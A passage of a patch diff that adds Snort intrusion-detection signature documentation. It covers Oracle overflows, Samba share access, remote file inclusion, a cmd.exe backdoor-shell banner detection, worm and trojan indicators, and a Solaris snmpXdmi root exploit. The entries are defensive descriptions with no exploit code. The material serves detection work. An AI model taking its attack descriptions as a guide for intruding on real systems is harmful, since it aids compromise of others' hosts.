+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2703.txt
+++ snort-2.8.5.2/doc/signatures/2703.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+2703
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+--
+Affected Systems:
+	Oracle iSQLPlus
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/537.txt
+++ snort-2.8.5.2/doc/signatures/537.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+537
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/439.txt
+++ snort-2.8.5.2/doc/signatures/439.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+
+Sid:
+439
+
+--
+
+Summary:
+This event is generated when an ICMP Type 19 Code 0 (ICMP Reserved for Security) datagram is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 19 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 19 is not defined for use and is not expected network activity.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 19 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2448.txt
+++ snort-2.8.5.2/doc/signatures/2448.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2448
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+setinfo.hts on a machine using HP Web JetAdmin.
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+HP Web JetAdmin is software used to remotely manage HP networked
+peripheral devices. It may also be used to manage non-HP products also.
+It may be possible for a remote user to execute code of their choosing
+using the web interface.
+
+This is due to insufficient checking of user supplied input in the file
+setinfo.hts.
+
+--
+Affected Systems:
+	HP Web JetAdmin 7.5
+
+--
+Attack Scenarios:
+An attacker can supply any code of their choosing directly to the script
+in question and manipulate any device being managed by the software.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2123.txt
+++ snort-2.8.5.2/doc/signatures/2123.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 2123
+
+
+--
+Summary:
+This event is generated when a Windows cmd.exe banner is detected in a TCP session. 
+
+--
+Impact:
+Remote access.
+
+--
+Detailed Information:
+This event indicates that a Windows cmd.exe banner has been detected in a TCP session. This indicates that someone has the ability to spawn a DOS command shell prompt over TCP.
+
+--
+Affected Systems:
+Windows operating systems.
+
+--
+Attack Scenarios:
+An attacker could be utilizing a backdoor to spawn a DOS command shell thus gaining access to the operating system and all data on the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2890.txt
+++ snort-2.8.5.2/doc/signatures/2890.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2890
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_nchar
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/728.txt
+++ snort-2.8.5.2/doc/signatures/728.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+728
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/730.txt
+++ snort-2.8.5.2/doc/signatures/730.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+730
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000404.txt
+++ snort-2.8.5.2/doc/signatures/100000404.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000404
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "articles.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "articles.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2460.txt
+++ snort-2.8.5.2/doc/signatures/2460.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2460
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo 
+Instant Messenger running requests to view a webcam listen to an audio 
+message of another Yahoo IM user. 
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be 
+appropriate in certain network environments.
+
+--
+Detailed Information:
+This event indicates that a Yahoo IM user in your network is requesting 
+to view a webcam or listen to an audio message of another Yahoo IM user.
+While there are no known exploits associated with showing or viewing 
+webcams, it is possible that this activity is inappropriate in certain 
+environments.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attack scenarios.
+
+--
+Ease of Attack:
+No known attack scenarios.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the 
+default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or 
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-5.txt
+++ snort-2.8.5.2/doc/signatures/111-5.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+111-5
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This event indicates that the pre-processor stream4 has detected a
+packet with only the SYN flag set that contains a payload. A packet with
+this flag set is meant to only set up a session between a client and
+server. Any data in a packet of this kind indicates malicious activity
+is taking place.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can attempt to evade an IDS by sending a malicious payload
+in a packet designed to set up a session.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1643.txt
+++ snort-2.8.5.2/doc/signatures/1643.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1643
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2539.txt
+++ snort-2.8.5.2/doc/signatures/2539.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2539
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2152.txt
+++ snort-2.8.5.2/doc/signatures/2152.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a script not normally used in a production environment. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a test script (test.php) that would not normally be used in a production environment.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+In applications such as Horde or IMP, the test.php script may reveal valuable server information to the attacker.
+
+--
+Affected Systems:
+Any host using php applications such as Horde or IMP.
+
+Other php applications may use a file named test.php also.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If the script test.php exists and is normally used, this rule will generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/185.txt
+++ snort-2.8.5.2/doc/signatures/185.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+185
+
+--
+Summary:
+CDK is a Trojan Horse offering the attacker control of the victim host. 
+This event is generated when an attacker connects to a victim server.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Restore a previously known good copy of the registry.
+
+A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Original rule written by Paul Bobby <paul.bobby@lmco.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS263
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2718.txt
+++ snort-2.8.5.2/doc/signatures/2718.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2718
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure rectify
+. This procedure is included in
+dbms_rectifier_diff.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/536.txt
+++ snort-2.8.5.2/doc/signatures/536.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+536
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2162.txt
+++ snort-2.8.5.2/doc/signatures/2162.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2162
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1154.txt
+++ snort-2.8.5.2/doc/signatures/1154.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1154
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1560.txt
+++ snort-2.8.5.2/doc/signatures/1560.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1560
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2945.txt
+++ snort-2.8.5.2/doc/signatures/2945.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2945
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2045.txt
+++ snort-2.8.5.2/doc/signatures/2045.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+2045
+
+--
+Summary:
+The snmpXdmi daemon is used on Sun Solaris systems to map Simple Network
+Management Protocol (SNMP) management requests to and from the Desktop 
+Management Interface (DMI).
+
+This daemon contains a boundary condition error that could result in a 
+buffer overflow that will present the attacker with super user access to
+the target host.
+
+--
+Impact:
+Complete control of the target machine.
+
+--
+Detailed Information:
+The snmpXdmi daemon is installed and enabled by default on the affected 
+systems below.
+
+DMI is used to manage components on client machines across a network. It
+can be used in conjunction with SNMP via a daemon such as snmpXdmi.
+
+A number of exploits for this vulnerability exist and are in use. The result of a sucessful attack is a complete root compromise of the victim host.
+
+Compromised systems are reported to display a number of commonalities such as:
+
+	A core file for snmpXdmi on /
+	Two instances of inetd running
+	Telnet and SSH backdoors running on high ports
+	An instance of an IRC proxy
+	System binaries replaced by rootkit versions
+	Network sniffers installed
+	Log files changed
+
+The system binaries 'ps' and 'netstat' cannot be trusted to show all 
+running processes since they may have been replaced by rootkit versions 
+specially modified so as to hide evidence of the compromise.
+
+--
+Affected Systems:
+Sun Solaris 2.6, 7.0, 8.0 for SPARC and Intel architectures
+
+--
+Attack Scenarios:
+The attacker must send specially crafted packets to the snmpXdmi daemon 
+or use one of the widely available exploits.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the snmpXdmi service.
+
+Apply the appropriate patches for each affected system.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2417
+
+CERT:
+http://www.cert.org/advisories/CA-2001-05.html
+http://www.kb.cert.org/vuls/id/648304
+
+CVE:
